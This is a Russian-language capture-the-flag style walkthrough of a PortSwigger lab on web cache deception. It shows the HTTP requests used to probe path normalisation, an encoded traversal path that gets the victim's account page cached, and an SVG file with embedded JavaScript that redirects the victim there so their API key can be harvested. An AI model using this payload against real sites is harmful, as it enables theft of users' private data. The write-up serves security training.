Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.

Для входа в свою учетную запись можно использовать креды wiener:peter.

http://0aef000f03f69da48140110400a500fc.web-security-academy.net

Solution

Залогинюсь в личный кабинет, а затем проверю историю запросов. Для этого можно использовать Web Tools браузера или Burp Proxy. Я использовал второе.

IMG

Вижу обращение к статическим файлам в директории /resources/*:

GET /resources/js/tracking.js HTTP/2
Host: 0aef000f03f69da48140110400a500fc.web-security-academy.net
Cookie: session=C40Y1cj4NsWE6zTlqQkboUvnYhpCL51w
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aef000f03f69da48140110400a500fc.web-security-academy.net/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

Проверю HTTP-ответы:

HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');

По полям Cache-Control: max-age=30, Age: 0, X-Cache: miss можно сделать вывод, что они кэшируются. Попробую выяснить, что за правило для этого используется. Для этого закину запрос в Repeater. А путь к ресурсу заменю на /resources/js/..%2ftracking.js:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=PeLYTk055Haj9fJwv7qcCta7Nd4heVdX; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 11

"Not Found"

Страница не найдена, но результат кэширован. Попробую изменить путь на /aaa:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=oITpuVfJw15ej7lSOGzedYeFdSL6bpK0; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Ответ не кэширован, значит дело в префиксе. Попробую изменить путь на /aaa/..%2f/resources/js/tracking.js:

HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');

Ответ корректный, но не кэширован. Значит у нас происходит кэширование запросов к файлам по пути /resources/.

Попробую теперь посмотреть запросы к личному кабинету:

GET /my-account HTTP/2
Host: 0aef000f03f69da48140110400a500fc.web-security-academy.net
Cookie: session=OYNbrcxQ5hx91kpKXdGxS20hku677aPx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aef000f03f69da48140110400a500fc.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Ответ:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3869

...

Посмотрю, как сервер нормализует пути. Добавлю /aaaa/..%2f к /my-account:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3869

...

Ответ не изменился, а значит /aaaa/../ убралось при нормализации. Добавлю теперь /resources/..%2f и посмотрю, будет ли страница кэширована:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3869

...

И ответ — да) Скрафтим пейлоад. Продолжаю флексить. Мой взгляд упал на SVG. Этот формат позволяет встроить js код в файл. Данный код выполняется при открытии картинки. Вставлю следующий js код document.location="https://0aef000f03f69da48140110400a500fc.web-security-academy.net/resources/123/..%2f..%2fmy-account" в SVG файл:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg height="100%" version="1.1" viewBox="0 0 1700 863" width="100%" xml:space="preserve"
    xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image height="863" id="Image" width="1700" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAEz0lEQVR4nAHEBDv7AAxxUTd8YtLTcEaHx40ZIJK60obC5Ou1cLF+TS4/XVlRSmvVi/w8Ca2/8IQgN1t1Vnz2z4Qbhi41a9vUGAAdrSE1KG1/JVhVWHa4MMlbjStnEqyHAJ955H/P5KELCfoLxZfvMBXHOrF5zXHK2FQDizWDvG8AL/aju1MAPftmRhxjuzxxxxwr6/sTuNGCrXbDgrp8f8pF4XXBCEmwevYo0UZcWY8m8y7drro6Fyfn/IZhDuf1Sra3ABF+HBy+0XxXRZPGpTTfOjn2WtbN6h3k3ZDaqjVIrcc2nzDsXX50RAmZWqJP/udjDRsBKoHV1tiUzBeO+AAPUxxJoPg1+LVX0ZGGuREcxlbsasPf3V88wgpJOvEe7/QM9Hygg1HYJEIi0/ELhzseWQyUEVX/5KFxcAYAGGSIkEfp0R2p8/iekqmiWWqmx4UJkbv79HhBPEmjcWrMq6OnnQlOlqlw45AKt7FYqns9bm2RKcaIXJKsAJfNE+IyVXL8eq752OYiBqePXfd5N/yVih9sbDBKGczO78uVB1hJPCV+YBWtBNpQ6vZHOyB5m9oZXr8+sACMrWSnXLEdiLu3S20yGUdFLJU1auqh7OUvMdi6FmGLjkMIz+qDNfLibseIgyNhHJjE5CLZpJ8fmQ/cRd8A7cTTpcVgtzIbWOcASAT8WePb1RfDQtTm7zJrFqLslkdMnDHBHv1w43qYv0EXDx/UTRRav8hpToTpGztfADmSJNLe+I/qQgntVRu+8YHIot93eGUgAAIPBUr/ALoq0TghgQKgT4tVSjOSRqV4Od243GfoLQ4uY+0t1QB5ktSY7avPeAitGgVwZ2YdbC8qijR5JZx6QuVAr87H03yNKyeLR7UMae5XGPLKnjee0NvDCCOQxQcPUMsAZl11CIYce3xIb/xyhTT6wV6H0XOF8My6bnS+WaEVFStSW0zoTRT2eFHMXq45KCN3aOA19/BVG0i9/DPuAP4Z833YYQN+QzXZYagmlb9vBHXZ0MJCBIfvs43jV1l1AXubIPVot5j9K5zkmu9IvFWES9C614mfBoN4dwASTMvwX+y63gzmNUzx1IIzdXJnlTxqJgWAEz8KyKSyOTXY8s5mC0f1H/zDXOIzE5iyGG1RODjQCJFLLOwA6+J5ZIlRkIXofOGOoHfNWGHZ2kH1c2ueLcw1T57fSw5D1/9n05ZeUUWpKLEYwCws8jAZm2/01M9bxbX5AGgdzTS6EW7F2YduQvY4YmfEYJ2XznsR3mU9L4ecSPLKCzuIAqkL9hN8eYlQwKAhhTFHqM15tRk6m6iR0wD2wNoLzCWjhF2SE67i0iEH/WGUt7KhRDiDslK6+KtX+tAVfSUi+NGE8JHUYjjotuk9eGKf+y0AvQcCJn0AtyEQZ5F//iLAZ1YdBSZ2K6+UXohWsjyz/5eVXJs45k3l85Lwxi/9rStDJCrpJ1Qul5wvG/juezX0KX23ADCzfLib3CQrgKhayon7oOZULnNkgKgkbIqgvqpzPVCRbTCgOi5lO6e/iSSFL3tlJYNrP1q4HBrF7MAEeQAUThoWm+8dYpYVW6ZKsNj8De13cqJXziBtn3iNoc60ZkmD3x0IcwQG+tKp/a3eGmz6dWpiv/Mm0G5hl0xSGlKET0w0lQAAAABJRU5ErkJggg=="/>
 <script type="text/javascript">  
  <![CDATA[  
		document.location="https://0aef000f03f69da48140110400a500fc.web-security-academy.net/resources/123/..%2f..%2fmy-account"
  ]]>  
 </script>  
</svg>

В заголовке нужно указать правильный MIME type. Для SVG это image/svg+xml. Вот так выглядит итог:

IMG

Отправляю пейлоад и проверяю улов (ну типа фишинг — улов. ну вы поняли):

IMG

Сдаю API-key:

IMG